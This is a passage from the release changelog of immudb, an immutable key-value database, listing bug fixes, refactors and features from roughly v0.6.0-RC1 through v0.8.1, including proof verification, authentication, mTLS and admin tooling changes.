descOrder - **server:** implements safeGet - **server/api:** minor changes in Item element ### Code Refactoring - **pkg/server:** add database interface and inject in server package - **pkg/server:** move database to new package ### Features - partial implementation of safeGet - add store reader, scan and sorted sets - **embedded:** add Get operation without the need of a snapshot - **embedded:** inclusiveSeek point when reading - **embedded/tbtree:** use seek and prefix - **pkg/client:** implements latest server API - **pkg/client:** add GetSince method - **pkg/database:** uniform implementation for set, references, zadd, scan and zscan operations - **pkg/database:** verify reference upon key resolution - **pkg/database:** complete set and get reference methods - **pkg/database:** add execAllOps - **pkg/database:** support for seekable scanning - **pkg/database:** consistent reference handling, prevent cyclic references - **pkg/server:** expose store options ## [v0.8.1] - 2020-12-08 ### Bug Fixes - file ext removal - consider the case when key was not yet inserted - add permissions for the new CountAll gRPC method - fix batchOps tests and minors fix for zAdd sorted set key generation - avoid duplicate index insertion in zAdd batch operation transaction - restore current offset after reading compressed data - encode metadata numeric fields with 64bits - appendable extensions without dot - set fileSize after reading values from metadata - read metadata before reading - pass compression settings into newly created single-file appendable - compression with bigger values - compression with multiple-files - appID parsing from filename - set new appendable id when changing current appendable - typos - fix batchOps permission and clean sv ones - return EOF when data cannot be fully read from appendables - **embedded:** set correct offset while reading node - **embedded/store:** release tx before linear proof generation - **embedded/store:** use verificatication methods for dual proof evaluation - **embedded/tools:** catch ErrNoMoreEntries when iterating over txs ([#569](https://github.com/vchain-us/immudb/issues/569)) - **pkg:** handle expired token error - **pkg/client:** handle rootservice error inside constructor - **pkg/client:** token service is not mandatory for setup a client - **pkg/store:** fix bug on lexicographical read of multiple sets - **pkg/store:** fix reverse history pagination - **pkg/store:** move separator at the beginning of a keyset - **pkg/store:** fix scan and add tests for pagination - **pkg/store:** scan item now contains immudb index, not badger timestamp - **pkg/store:** fixes issue [#532](https://github.com/vchain-us/immudb/issues/532) ([#549](https://github.com/vchain-us/immudb/issues/549)) - **pkg/store:** fix key set generation. index reference flag (0,1 bit) is put at the end of the key to mantain lexicographical properties - **pkg/store:** in reference based command key is optional if index is provided. Increase code coverage ### Changes - copy on insert and fresh snapshots - moved stress_tool under tools folder - close appendable hash tree on close - update readme with SDKs urls ([#506](https://github.com/vchain-us/immudb/issues/506)) - include github stars over time chart ([#509](https://github.com/vchain-us/immudb/issues/509)) - fix naming conventions - export uwrap and wrap value method to be used in nimmu - link to immuchallenge repo ([#528](https://github.com/vchain-us/immudb/issues/528)) - fix typo in cmd help ([#541](https://github.com/vchain-us/immudb/issues/541)) - renaming set key generation method - remove *sv methods - print commiting status after sync - root method without error - cbuffer pkg - cbuffer pkg - use constants for field len - simplify linear proof - remove verification during indexing - unify kv hash calculation - LinearProof verification - minor code change - multierror handling on close func - multierror handling on close func - error naming - error naming - unify options for appendables - unify naming - move options validations to options file - minor changes in append operation - hash tree construction - advances in hash tree and proof construction - make spec read fields public - implement commit log for btree and improved reduced dump - txi commit file ext - aof as default file ext - sync also applies to index - panic if set key fails - panic when close returns an error - validate clog size after setting fileSize from metadata - index file extensions - return after auto mode - mode as required flag - renamed to IndexInfo - random and monotonic keys - split code into files, index options exposed for external config - support for historical value tracing - changes on historical value tracing - validate hvalue when reading value from vlog - newTx method using store values - check for non-duplication within same tx - when txInclusion is true then txLinking is made as well - options validation - close index when closing store - add VERSION to metadata section - time-based flushing - do not store hvalue in index - solved concurrency issues - changes to solve and improve concurrency - minor changes in stress tool - unit testing - change max value length to 64Mb - set fileSize based on initial value set at creation time - return partially written number of bytes when write is not completed - reorg appendable packages - when compression is enabled, each append takes place into a single file - renamed filesize flag - use channels for communicating data offsets - close txlog after completion - random key-value generation in stress tool - kv alloc inside tx prep - parallel IO non-exclusive yet synchorinized with store closing - open with appendables to facilitate parallel IO - spec parallel IO in stress tool - appendale with path - preparing for parallel IO - optimized hashtree generation - minor internal change on commit tx method - time only considering commit time - don't print dots if printAfter is 0 - don't print dots if printAfter is 0 - minor typo in error message - preparing for concurrency optimization - increase testing timeout - close commit log file - return EOF when available content is less than buffer size - make key-value struct public - initial commit with functional implementation - move set and get batch in a separate file - fix naming conventions and typos - add setBatch, getBatch, setBatchOps method in mock client - improved comprehensibility of the immudb configuration file - add more batchOps tests, fixing naming typo - renaming batchOps in ops and SetBatchOps in ExecAllOps - fix immudb consistency diagram - add more tests and remove code duplications - **embedded/store:** return ErrNoMoreEntries when all tx has been read - **embedded/store:** permit immediate snapshot renewals - **embedded/store:** pre-allocated tx pool used for indexing and proofs - **embedded/store:** use embedded reusable built-at-once hash tree - **embedded/store:** internal changes to use innerhash for proof generation - **embedded/store:** sleep binary linking thread until txs are committed ([#572](https://github.com/vchain-us/immudb/issues/572)) - **embedded/store:** changed defaults - **embedded/store:** add data consistency validation during dual proof construction - **embedded/store:** pre-allocated tx pool used with dual proof - **embedded/store:** sleep indexing thread until there are entries to be indexed - **pkg/api/schema:** increase code readability - **pkg/auth:** fix get batch permissions - **pkg/client:** fix comment - **pkg/client:** client exposes structured values conversion tools - **pkg/client/clienttest:** add inclusion, consistency, byIndex mock methods - **pkg/client/clienttest:** add missing method inside service client mock - **pkg/client/clienttest:** add mock service client constructor - **pkg/client/timestamp:** fix naming convention - **pkg/server:** add database name server validator - **pkg/server:** remove ScanSV test - **pkg/store:** add consistency check on zadd and safezadd index reference method and tests - **pkg/store:** move reference code to a dedicated file - **pkg/store:** fix comments in test - **server:** enhance namings related audit report notification ### Code Refactoring - batch ops produces monotonic ts sequences, index is mandatory if reference key is already persisted - **pkg/client:** decoupled immuclient from rootService - **pkg/store:** get resolve reference only by key - **pkg/store:** add set separator. Fixes [#51](https://github.com/vchain-us/immudb/issues/51) ### Features - set compression setting into value logs - root returns number of entries - payload and digest lru caches - replay missing binary linking entries - binary linking in-memory integration - towards data compression capabilities - dual proof construction and verification - towards linear and dual proofs - dual proof and liearProof against target accumulative linear hash - dual cryptographic linking - store immutable settings into metadata section - towards dual cryprographic linking - inclusion and consistency verification algorithms - consistency proof - multierr custom error wrapping multiple errors when closing the store - several improvements, data by index - towards persistent storage of mutable hash tree - ongoing implementation of appendable hash tree - add sync method - TxReader starts from a txID - IndexInfo to return up to which tx was indexed and error status of indexing task - add interactive mode for get/set key values - add method for reading value of a key within a tx - retrieve the list of ts at which a key was updated - key updates tracing to support historical reading - back btree with multi-appendables - add read numeric values - initial indexing - towards k-indexing - getReference is exposed throught gRPC server and in SDK - add lzw compression format - data compression support by stress tool - data compression - towards data compression capabilities - add flag to stress_tool to specify if values are random or fixed - client supports paginated scan, zscan, history - store accumulative linear hash into mutable hash tree - add log file sizes and number of openned files per log type flags - enable file mgmt settings - multi-file appendables - add metadata to appendables - include full tx validation and fixed sync issue - full committed tx verification against input kv data - add key and value length params in stress tool - parallel IO support - optimized for concurrent committers - added concurrent committers to stress tool - add cryptographic linking verification of transactions - add method to retrieve number of committed txs - export sync mode config - add batchOps reference operation - expose CountAll through gRPC - configurable max incomming msg size ([#526](https://github.com/vchain-us/immudb/issues/526)) - extend sorted set to support multiple equals key - enhance auditor to publish tampering details at a specified URL (optional) - add ZScan pagination - rearrange badges on README ([#555](https://github.com/vchain-us/immudb/issues/555)) - Add awesome-go badge ([#554](https://github.com/vchain-us/immudb/issues/554)) - add history pagination - add reverse zscan and reverse history pagination - add atomic operations method - **embedded/htree:** reusable build-at-once hash tree - **embedded/store:** add Alh method to get last committed tx ID and alh ([#570](https://github.com/vchain-us/immudb/issues/570)) - **pkg/client:** add SetAll operation for simple multi-kv atomic insertion ([#556](https://github.com/vchain-us/immudb/issues/556)) - **pkg/client:** sdk support index reference resolving) - **pkg/client:** sdk support execAllOps - **pkg/client/auditor:** enhance auditor to always send audit notification (even when no tampering was detected) if a notification URL is specified - **pkg/store:** sorted sets support multiple equal keys with same score - **pkg/store:** reference support index resolution - **server:** add --audit-databases optional auditor flag ### Reverts - chore: increase testing timeout ## [v0.8.0] - 2020-09-15 ### Bug Fixes - **pkg/client:** setBatch creates structured values ### Changes - fix immugw dependency to support new root structure - update readme, add immudb4j news ([#488](https://github.com/vchain-us/immudb/issues/488)) - update README file ([#487](https://github.com/vchain-us/immudb/issues/487)) - switching README.md end lines to LF - **cmd:** add signingKey flag - **cmd:** remove error suppression in config loader - **cmd/immutest/command:** remove immugw dependency from immutest - **pkg:** add kvlist validator ([#498](https://github.com/vchain-us/immudb/issues/498)) - **pkg/server:** log uuid set and get error - **pkg/server:** log signer initialization in immudb start ### Code Refactoring - wrap root hash and index in a new structure to support signature - move immugw in a separate repository - **pkg/server:** inject root signer service inside immudb server ### Features - auditor verifies root signature - **pkg:** add root signer service - **pkg/signer:** add ecdsa signer ## [v0.7.1] - 2020-08-17 ### Bug Fixes - fix immudb and immugw version and mangen commands errors Without this change, while immuclient and immuadmin still worked as expected, immudb and immugw version and mangen commands were throwing the following error: ./immugw version Error: flag accessed but not defined: config Usage: immugw version [flags] - fix immuclient audit-mode - **cmd/immuadmin/command:** fix immuadmin dbswitch - **pkg/client:** token service manages old token format ### Code Refactoring - configs file are loaded in viper preRun method ### Features - **cmd:** process launcher check if are present another istances. fixes [#168](https://github.com/vchain-us/immudb/issues/168) ## [v0.7.0] - 2020-08-10 ### Bug Fixes - fix travis build sleep time - chose defaultdb on user create if not in multiple db mode - use the correct server logger and use a dedicated logger with warning level for the db store - use dedicated logger for store - fix compilation error in corruption checker test - user list showing only the superadmin user even when other user exist - fix multiple services config uninstall - userlist returns wrong message when logged in as immudb with single database - race condition in token eviction - skip loading databases from disk when in memory is requested - remove os.Exit(0) from disconnect method - fix DefaultPasswordReader initialization. fixes [#404](https://github.com/vchain-us/immudb/issues/404) - if custom port is <= 0 use default port for both immudb and immugw - fix immugw failing to start with nil pointer dereference since gRPC dial options are inherited (bug was introduced in commit a4477e2e403ab35fc9392e0a3a2d8436a5806901) - **cmd/immuadmin/command:** fix user list output to support multiple databases (with permissions) for the same user - **pkg/auth:** if new auth token is found in outgoing context it replaced the old one - **pkg/client:** use database set internally database name - **pkg/client:** inherit dial options that came from constructor - **pkg/fs:** don't overwrite copy error on Close malfunction. Sync seals the operation–not Close. - **pkg/gw:** fix client option construction with missing homedirservice - **pkg/server:** avoid recursion on never ending functionality. Further improvements can be done ([#427](https://github.com/vchain-us/immudb/issues/427)) - **pkg/server:** added os file separator and db root path - **pkg/server/server:** change user pass , old password check - **pkg/service:** restore correct config path - **pkg/store:** fix count method using a proper NewKeyIterator ### Changes - refactor immuclient test - versioning token filename - add use database gw handler - spread token service usage - add homedir service - rewrite tests in order to use pkg/server/servertest - remove permission leftovers and useless messages in client server protocol - add os and filepath abstraction and use it in immuadmin backup command - using cobra command std out - add codecov windows and freebsd ignore paths - fix typo in UninstallManPages function name - fix conflicts while rebasing from master - remove user commands from immuclient - add coveralls.io stage - fix codecov ignore paths - improve command ux and fix changepassword test. Closes [#370](https://github.com/vchain-us/immudb/issues/370) - remove os wrapper from codecov.yml - remove useless quitToStdError and os.exit calls - add options to tuning corruption checking frequency, iteration and single iteration - enhance immudb server messages during start - capitalize immudb stop log message for consistency reasons - move immuadmin and immuclient service managing to pkg - log immudb user messages during start to file if a logfile is specified - use debug instead of info for some log messages that are not relevant to the user - add auditor single run mode - add unit tests for zip and tar - fix test - refactor immuadmin service to use immuos abstraction - add coverall badge - add filepath abstration, use it in immuadmin backup and enhance coverage for backup test - change insert user to use safeset instead of set - fix tokenService typos - fix go test cover coverall - remove tests from windows CI - fix immuclient tests - add empty clientTest constructor - user list client return a printable string - add unexpectedNotStructuredValue error. fixes [#402](https://github.com/vchain-us/immudb/issues/402) - add go-acc to calculate code coverage and fix go version to 1.13 - fix contributing.md styling - remove sleep from tests - use 0.0.0.0 instead of 127.0.0.1 as default address for both immudb and immugw - add failfast option in test command - add an explicit data source on terminal reader - TestHealthCheckFails if grpc is no fully closed - refactor immuclient test, place duplicated code in one place - **cmd:** restore error handling in main method - **cmd:** token is managed as a string. fixes [#453](https://github.com/vchain-us/immudb/issues/453) - **cmd:** fix typo in command messages - **cmd:** enhance PrintTable function to support custom table captions and use such captions in immuadmin user and database list commands - **cmd:** immugw and immudb use process launcher for detach mode - **cmd/helper:** add doc comment for the PrintTable function - **cmd/immuadmin:** immuadmin user sub-commands use cobra, tests - **cmd/immuadmin/command:** move command line and his command helper method in a single file - **cmd/immuadmin/command:** fix text alignment and case - **cmd/immuadmin/command:** user and database list use table printer - **cmd/immuadmin/command:** remove silent errors in immuadmin - **cmd/immuadmin/command:** remove useless auth check in print tree command - **cmd/immuadmin/command:** automatically login the immuadmin user after forced password change is completed - **cmd/immuadmin/command:** move options as dependency of commandline struct - **cmd/immuclient/command:** remove useless comment - **cmd/immuclient/immuc:** inject homedir service as dependency - **cmd/immugw/command:** use general viper.BindPFlags binding instead of a verbose bindFlags solution - **cmd/immutest/command:** inject homedir service as dependency - **pkg/client/options:** add options fields and test - **pkg/client/timestamp:** removed unused ntp timestamp - **pkg/fs:** create file copy with flags from the start, in write-only mode - **pkg/fs:** traceable copy errors - **pkg/fs:** utilise filepath directory walk for copy - **pkg/server:** improve tests - **pkg/server:** add corruption checker random indexes generator dependency - **pkg/server:** add corruption checker random indexes generator missing dependency - **pkg/server:** mtls test certificates system db as immuserver property improve tests - **pkg/server:** immudb struct implements immudbIf interface, fixes previous tests - **pkg/server:** make DevMode default false and cleanup call to action message shwon right after immudb start - **pkg/store/sysstore:** remove useless method ### Code Refactoring - remove custom errors inside useDatabase and createDatabase services. Fixes [#367](https://github.com/vchain-us/immudb/issues/367) - handle in idiomatic way errors in changePermission grpc service. Fixes [#368](https://github.com/vchain-us/immudb/issues/368) - decoupled client options from server gateway constructor - refactor detach() method in a process launcher service - decouple manpage methods in a dedicated service - add immuadmin services interfaces and terminal helper - **cmd:** move database management commands from immuclient to immuadmin. Fixes [#440](https://github.com/vchain-us/immudb/issues/440) - **cmd/immuadmin/command:** using c.PrintfColorW instead c.PrintfColor to increase cobra.cmd integration for tests - **cmd/immuadmin/command:** move checkLoggedInAndConnect, connect, disconnect from server to login file - **cmd/immuadmin/command:** remove useless argument in Init and improve naming conventions ### Features - add multiple databases support - **cmd/helper:** add table printer - **cmd/helper:** add PrintfColorW to decouple writer capabilities - **cmd/immutest:** allow immutest to run on remote server - **pkg/client:** add token service ## [v0.6.2] - 2020-06-15 ### Bug Fixes - only require admin password to be changed if it is "immu" - require auth for admin commands even if auth is disabled on server, do not allow admin user to be deactivated - base64 decoding of passwords: now it requires the "enc:" prefix as base64 can not be differentiated from plain-text at runtime (e.g. "immu" is a valid base64 encode string) - fix ldflags on dist binaries and add static compilation infos - **cmd/immuclient/audit:** fix base64 encoded password not working with immuclient audit-mode - **immuadmin:** repair password change flow right after first admin login - **pkg/auth:** make ListUsers require admin permissions - **pkg/ring:** fixes cache corruption due to a ring buffer elements overwrite on same internal index - **pkg/store:** remove useless ringbuffer array - **pkg/store:** fix uniform cache layers size allocation with small values ### Changes - fix golint errors - githubactions add windows and build step - remove plain-test admin password from log outputs - add message (in cli help and swagger description) about base64-encoded inputs and outputs of get and set commands - FreeBSD section in the readme - add bug and feature request report github template - fix changelog auto generation repo and releasing template - **pkg/server:** reduce corruption_checker resources usage ### Features - expose through REST the following user-related actions: create, get, list, change password, set permission and deactivate - immuclient freebsd daemon installation - freebsd service install - read immudb default admin password from flag, config or env var - use immu as default admin password instead of randomly generated one - **immudb:** accept base64 string for admin password in flag/config/env var ## [v0.6.1] - 2020-06-09 ### Bug Fixes - disallow running immuadmin backup with current directory as source - choose correct config for immudb, immugw installation - update env vars in README and Docker files ([#297](https://github.com/vchain-us/immudb/issues/297)) - fix corruption checker crash during immudb shoutdown - immuadmin dump hangs indefinitely if token is invalid - [#283](https://github.com/vchain-us/immudb/issues/283), immudb crash on dump of empty db - **cmd/immuadmin:** validate backup dir before asking password - **cmd/immuadmin:** inform user that manual server restart may be needed after interrupted backup - **cmd/immuclient:** nil pointer when audit-mode used with immudb running as daemon - **cmd/immuclient:** add version sub-command to immuclient interractive mode - **cmd/immutest:** add new line at the end of output message - **pkg/ring:** return nil on inconsistent access to buffer rings elements - **pkg/store:** fix visualization of not frozen nodes inside print tree command - **pkg/store/treestore:** fix overwriting on not freezes nodes ### Changes - update statement about traditional DBs in README - remove immugw configs from immudb config file [#302](https://github.com/vchain-us/immudb/issues/302) - add license to tests ([#288](https://github.com/vchain-us/immudb/issues/288)) - **cmd/immuadmin/command:** improve visualization ui in merkle tree print command - **cmd/immuadmin/command/service:** syntax error, fail build on windows - **cmd/immuclient/audit:** code cleanup and renaming - **pkg/store/treestore:** improve cache invalidation ### Code Refactoring - handling of failed dump ### Features - add auth support to immutest CLI - add server-side logout ([#286](https://github.com/vchain-us/immudb/issues/286)) - allow the password of immugw auditor to be base64 encoded in the config file ([#296](https://github.com/vchain-us/immudb/issues/296)) - **cmd/helper:** add functionalities to print colored output - **cmd/immuadmin:** add print tree command - **cmd/immutest:** add env var for tokenfile - **pkg:** add print tree functionality ## [v0.6.0] - 2020-05-28 ### Bug Fixes - admin user can change password of regular user without having to know his old password - when fetching users, only fetch the latest version - safereference_handler, add tests [#264](https://github.com/vchain-us/immudb/issues/264) - safeset_handler test - readme doc, immugw start command - typos in immugw help - licence - modify BUILT_BY flag with user email to keep dist script functionalities in makefile - [#260](https://github.com/vchain-us/immudb/issues/260) - various permissions-related issues - immugw pid path consistency - SafeZAdd handler SafeZAdd tests. Fix ReferenceHandler test - fix immuclient windows build - fix bug on zadd server method - race condition while prefixing keys - implementation of user deactivate - rewrite user management to store user, password and permissions separately - use iota for permissions enum - **cmd/helper:** fix osx build - **cmd/immuadmin/command/service:** fix error returned by GetDefaultConfigPath - **cmd/immuadmin/command/service:** fix immudb data uninstall - **cmd/immuclient:** Added missing documentations and renamed deprecated structures. - **cmd/immuclient:** Fixed paths. - **cmd/immuclient:** Added missing documentations and renamed deprecated structures. - **cmd/immuclient:** Fixed wrong audit credentials error - **cmd/immuclient/audit:** fix immuclient service installation - **cmd/immuclient/service:** fix config import ### Changes - add changelog - add getByRawSafeIndex tests - improve help for immugw auditor metrics - rename audit(or) to trust-check(er) - use status.Error instead of status.Errorf for static string - use Sprintf instead of string concat - rename default immudb and immugw loggers - turn sys keys prefixes into constants - remove setup release in makefile - service_name inside release build script is configurable inside makefile. closes [#159](https://github.com/vchain-us/immudb/issues/159) closes [#239](https://github.com/vchain-us/immudb/issues/239) - remove ppc and arm target arch from makefile - add CD releases, certificate sign, vcn sign in makefile dist scripts - add dist scripts in makefile - fix typo in README.md - extract root service from immugw trust checker - move corruption checker inside immudb process - rename back immugw "trust checker" to "auditor" - update docker files - immugw audit publishes -1 if empty db and -2 if error, otherwise 0 (check failed) or 1 (succeeded) - immugw audit publishes -1 value for result and root indexes in case the audit could not run (i.e. empty database, error etc.) - change immugw metrics port - refactoring file cache for immugw auditor - rename immugw trust-checker to auditor - move auditor package under client directory - **cmd:** fix corruption checker flag - **cmd/helper:** remove useless var - **cmd/helper:** fix config path manager stub on linux - **cmd/helper:** add path os wildcard resolver - **cmd/immuadmin:** path of service files and binaries are os dynamic - **cmd/immuclient:** add pid file management on windows - **immuadmin:** improve the very first login message ### Code Refactoring - refactor safeset_handler_test ### Features - Audit agent added to immuclient. - make metrics server start configurable through options to aid tests. MetricsServer must not be started as during tests because prometheus lib panis with: duplicate metrics collector registration attempted. - invalidate tokens by droping public and private keys for a specific user - check permissions dynamically - implement user permissions and admin command to set them - prefix user keys - update metrics from immugw auditor - add immugw auditor - **cmd/immuclient/command:** add getByRawSafeIndex method - **immugw:** add GET /lastaudit on metrics server ## [v0.6.0-RC2] - 2020-05-19 ### Bug Fixes - fix stop, improve trust checker log - handling immudb no connection error and comments - **cmd/immuadmin:** old password can not be empty when changing password - **cmd/immuadmin/command:** remove PID by systemd directive - **cmd/immuadmin/command:** do not erase data without explicit consensus. closes 165 - **cmd/immuadmin/command/service:** fix [#188](https://github.com/vchain-us/immudb/issues/188) - **cmd/immuclient:** correct argument index for value in rawsafeset - **cmd/immutest:** rename immutestapp files to immutest - **pkg/server:** fix error when unlocking unlocked stores after online db restore - **pkg/store:** wait for pending writes in store.FlushToDisk ### Changes - fix useless checks, binding address - fix useless viper dependency - update dockerfiles - fix travis build - manage dir flag in immutc - add immutc makefile and remove bm from makeall - add copyrights to makefile. closes [#142](https://github.com/vchain-us/immudb/issues/142) - fix immugw dockerfile with dir property, update README - use empty struct for values in map that store admin-only methods and add also Backup and Restore methods - remove online backup and restore features - **cmd:** remove useless exit call - **cmd/immuadmin:** fix typo in todo keyword - **cmd/immuadmin:** add todos to use the functions from fs package in immuadmin service helpers - **cmd/immuadmin:** rename offline backup and restore to reflect their offline nature - **cmd/immugw:** add dir property with default - **pkg/client:** fix client contructor in tests - **pkg/client:** add dir property with default - **pkg/client:** fix ByRawSafeIndex method comment - **pkg/gw:** remove useless root service dependency - **pkg/gw:** add dir property with default, fix error messages - **pkg/immuadmin:** use ReadFromTerminalYN function to get user confirmation to proceed - **pkg/store:** fix typo in tamper insertion order index error message - **server:** do not close the stores during cold Restore - **server:** check for null before closing stores during backup and return absolute backup path ### Features - show build time in user timezone in version cmd output - set version to latest git tag - added interactive cli to immuclient - **cmd/immutc:** add trust checker command - **immuadmin:** add offline backup and restore option with possibility to stop and restart the server manually - **immuadmin:** add cold backup and restore - **pkg/api/schema:** add byRawSafeIndex proto definitions and related parts - **pkg/client:** add byRawSafeIndex client - **pkg/server:** add byRawSafeIndex server - **pkg/store:** add byRawSafeIndex methods and relateds parts - **pkg/tc:** add trust checker core ## [v0.6.0-RC1] - 2020-05-11 ### Bug Fixes - fix bug related to retrieve a versioned element by index - return verified item on safeset - wrap root_service with mutex to avoid dirty read - place password input on the same line with the password input label - store auth tokens in user home dir by default and other auth-related enhancements - return correct error in safeZAdd handler - disabling CGO to removes the need for the cross-compile dependencies - remove useless error. https://github.com/dgraph-io/badger/commit/c6c1e5ec7690b5e5d7b47f6ab913bae6f78df03b - add immugw exec to docker image - upadating takama/daemon to fix freebsd compilation. closes [#160](https://github.com/vchain-us/immudb/issues/160) - split main fails in separate folders - use grpc interceptors for authentication - fix structured values integration - code format for multiple files to comply with Go coding standards - fix immugw immud services in windows os - fix env vars. Switch to toml - prevent immuadmin users other than immu to login - env vars names for immudb port and address in CLIs help - enhance authentication and user management - environment variables - improving config management on linux and improved usage message - use arguments instead of flags for user create, change-password and deleted - fix reading user input for passwords - change user message when new password is identical to the old one - remove common package - **/pkg/gw:** manage 0 index value in safeget - **/pkg/gw:** fix guard - **/pkg/gw:** manage 0 index value in history - **cmd:** get and safeget error for non-existing key - **cmd:** remove short alias for tokenfile flag - **cmd/immu:** fix backup file opening during restore - **cmd/immu:** Fix newline at the end of restore/backup success message - **cmd/immu:** set auth header correctly - **cmd/immuadmin:** verify old password immediately during change-password flow - **cmd/immuadmin:** generate admin user if not exists also at 1st login attempt with user immu - **cmd/immuadmin:** fix uninstall automatic stop - **cmd/immuadmin/command/service:** fix config files in windows - **cmd/immuadmin/command/service:** fix windows helper import - **cmd/immuadmin/command/service:** fix group creation - **immuclient:** do not connect to immudb server for version or mangen commands - **immudb/command:** fix command test config file path - **immupopulate:** do not connect to immudb server for version or mangen commands - **pkg/api/schema:** fix typos - **pkg/client:** fix cleaning on client tests - **pkg/client:** fix stream closing to complete restore - **pkg/client:** fix root file management - **pkg/client/cache:** manage concurrent read and write ops - **pkg/gw:** ensure computed item's matches the proof one for safeset - **pkg/gw:** improve immugw logging - **pkg/gw:** fix hash calc for reference item - **pkg/gw:** fix error handling in safe method overwrite - **pkg/gw:** manage concurrent safeset and get requests - **pkg/gw:** refactor overwrite safe set and get request in order to use dependencies - **pkg/gw:** use leaf computed from the item - **pkg/gw:** fix lock release in case of errors - **pkg/gw:** fix gw stop method - **pkg/server:** correct error checking - **pkg/server:** improve immudb logging - **pkg/store:** correct health check error comparison - **pkg/store:** correct gRPC code for key not found error - **pkg/store:** badger's errors mapping - **pkg/store:** truncate set to true for windows - **pkg/store:** fix [#60](https://github.com/vchain-us/immudb/issues/60). ### Changes - remove immuclient from default make target - Print immud running infos properly - simplify error during first admin login attempt - marshal options to JSON in String implementations - simplify .gitignore - grpc-gateway code generation - update .gitignore - add missing dep - update deps - Add swagger generation command - switch to 2.0.3 go_package patched badger version - import badger protobuffer schema - Update makefile in order to use badeger on codenotary fork - fix compilation on OS X - Switch services default ports - improve configuration features on services management - prefix version-related variable holding common ldflags so that it matches the convention used for the other version-related variables - update default dbname in server config - add pid params in config - fix typo in dump command help - remove default version value from immu* commands - change default output folder for man pages generation - rename immupopulate to immutestapp - remove app names from ldflags in Makefile, update immudb description in help - use all lowercase for immudb everywhere it is mentioned to the user - Switch config format to toml - Fix namings conventions on immud command config properties - instructions after make - move token file name into options and some cleanup - Remove man pages - merge code changes related to histograms and detached server options - rename immutestapp to immutest - change label from "latency" to "duration" in immuadmin statistics - remove types.go from immuadmin statistics cmd - rename functions that update metrics - integrate latest changes from master branch - update termui transitive dependencies - move immuadmin metrics struct to dedicated file - rewrite immuadmin client to align it with latest refactorings - fix project name in CONTRIBUTING.md - Suppression of ErrObsoleteDataFormat in order to reduce breaking changes - fix typo in raw command usage help - rename backup to dump, and disable restore - info if starting server with empty database - use exact number of args 2 for set and safeset - Set correct data folder and show usage in config. closes [#37](https://github.com/vchain-us/immudb/issues/37) - Fix coding style - Switch config format to ini - refactor immuadmin and stats command to allow dependency injection of immu client - protect default data folder from being inserted in repo - change config path in server default options - change default immudb data folder name from "immudb" to "immudata" - rename binaries and configs - linux services are managed by immu user - rename test config file - remove codenotary badger fork requirement - rename command "consistency" to "verify" - remove codenotary badger fork requirement - rename command "verify" to "check-consistency" - simplify auth options in immu client - improve login help and cleanup irelevant TODO comment - add host and version to swagger json - move server password generation to server start - get rid of locks on immuclient during login and user during set password - get rid of password generating library - change auth header to string - **cmd:** addutility to manage a y/n dialog - **cmd:** enhance unauthenticated message - **cmd:** add env vars to commands help and man - **cmd/immu:** Add reference in command line - **cmd/immuadmin:** remove duplicate dependency - **cmd/immuadmin:** remove ValidArgsFunction from user sub-command - **cmd/immuadmin:** fix build on freebsd - **cmd/immuadmin:** improve code organization and help messages - **cmd/immuadmin:** extract to functions the init and update of plots in visual stats - **cmd/immuadmin:** remove log files in uninstall - **cmd/immuadmin:** improved immuadmin service ux - **cmd/immuadmin:** remove unused varialble in user command - **cmd/immuadmin:** fix examples alignment in user help - **cmd/immuadmin:** set titles to green and use grid width instead of terminal width to determine plots data length - **cmd/immuadmin/commands:** fix typo in error message and remove useless options - **cmd/immuadmin/commands:** fix empty imput and improve immugw install ux - **cmd/immugw:** Use default options values - **cmd/immugw:** overwrite safeZAdd default handler - **cmd/immugw:** overwrite safeReference default handler - **immuclient:** move pre and post run callbacks to sub-commands - **pkg/auth:** improve local client detection - **pkg/client:** add reference client command - **pkg/client:** add ZAdd and ZScan client methods - **pkg/gw:** fix default config path for immugw - **pkg/gw:** remove useless check on path - **pkg/gw:** manage panic into http error - **pkg/gw:** refactor handlers in order to use cache adapters - **pkg/server:** return descriptive error if login gets called when auth is disabled - **pkg/server:** keep generated keys (used to sign auth token) only in memory - **pkg/store:** switch to gRPC errors with codes ### Code Refactoring - refactor packages to expose commands - remove immuclient initialization from root level command - Removed needless allocations and function calls, Rewrote Immuclient package layout - config is managed properly with cobra and viper combo. closes [#44](https://github.com/vchain-us/immudb/issues/44) - Structured immugw and handling SIGTERM. closes [#33](https://github.com/vchain-us/immudb/issues/33) - pkg/tree got ported over to its own external repo codenotary/merkletree - **pkg/store:** prefix errors with Err ### Features - add mtls to immugw - add mtls to immud - add version to all commands - add mtls certificates generation script - create a new build process [#41](https://github.com/vchain-us/immudb/issues/41) - Add config file. Closes [#36](https://github.com/vchain-us/immudb/issues/36) closes [#37](https://github.com/vchain-us/immudb/issues/37) - always use the default bcrypt cost when hashing passwords - implement user management - Add capabilities to run commands in background. Closes [#136](https://github.com/vchain-us/immudb/issues/136) closes [#106](https://github.com/vchain-us/immudb/issues/106) - hide some of the widgets in immuadmin statistics view if the server does not provide histograms - add safeget, safeset, safereference and safezadd to the CLI client - complete implementation of visual statistics in immuadmin - change client "last query at" label - add "client last active at" metric - add uptime to metrics - add immuadmin-related rules to makefile - close immuadmin visual statistics also on - add text and visual display options to immuadmin statistics - Add multiroot management, Add client mtls, client refactor. closes [#50](https://github.com/vchain-us/immudb/issues/50) closes [#80](https://github.com/vchain-us/immudb/issues/80) - add number of RCs per client metric - improve metrics - add immuadmin client (WiP) - add Prometheus-based metrics - Add raw safeset and safeget method - Add IScan and improve ScanByIndex command. Closes [#91](https://github.com/vchain-us/immudb/issues/91) - add insertion order index and tests. closes [#39](https://github.com/vchain-us/immudb/issues/39) - add current command. Closes [#88](https://github.com/vchain-us/immudb/issues/88) - Add structured values components - structured value - add --no-histograms option to server - add config item to toggle token-based auth on or off - add token based authentication - Add config file to immu - Add config and pid file to immugw - **cmd:** make unauthenticated message user-friendly - **cmd/immu:** enhance backup and restore commands by writing/reading proto message size to/from the backup file - **cmd/immu:** Add ZAdd and ZScan command line methods - **cmd/immu:** fix CLI output of safe commands - **cmd/immu:** add safeget, safeset, safereference and safezadd commands to immu CLI - **cmd/immu:** add backup and restore commands - **cmd/immuadmin:** add services management subcommand - **cmd/immuadmin:** add configuration management in service command - **cmd/immud:** Add pid file parameter - **cmd/immugw:** add logger - **cmd/immugw:** add immugw command - **cmd/immupopulate:** add immupopulate command - **immuadmin:** show line charts instead of piecharts - **immuadmin:** add dump command - **pkg/api/schema:** add safeget set patterns export - **pkg/api/schema:** add reference and safeReference grpc messages - **pkg/api/schema:** add backup and restore protobuffer objects - **pkg/api/schema:** add zadd, safezadd and zscan grpc messages - **pkg/api/schema:** add autogenerated grpc gw code - **pkg/client:** use dedicated structs VerifiedItem and 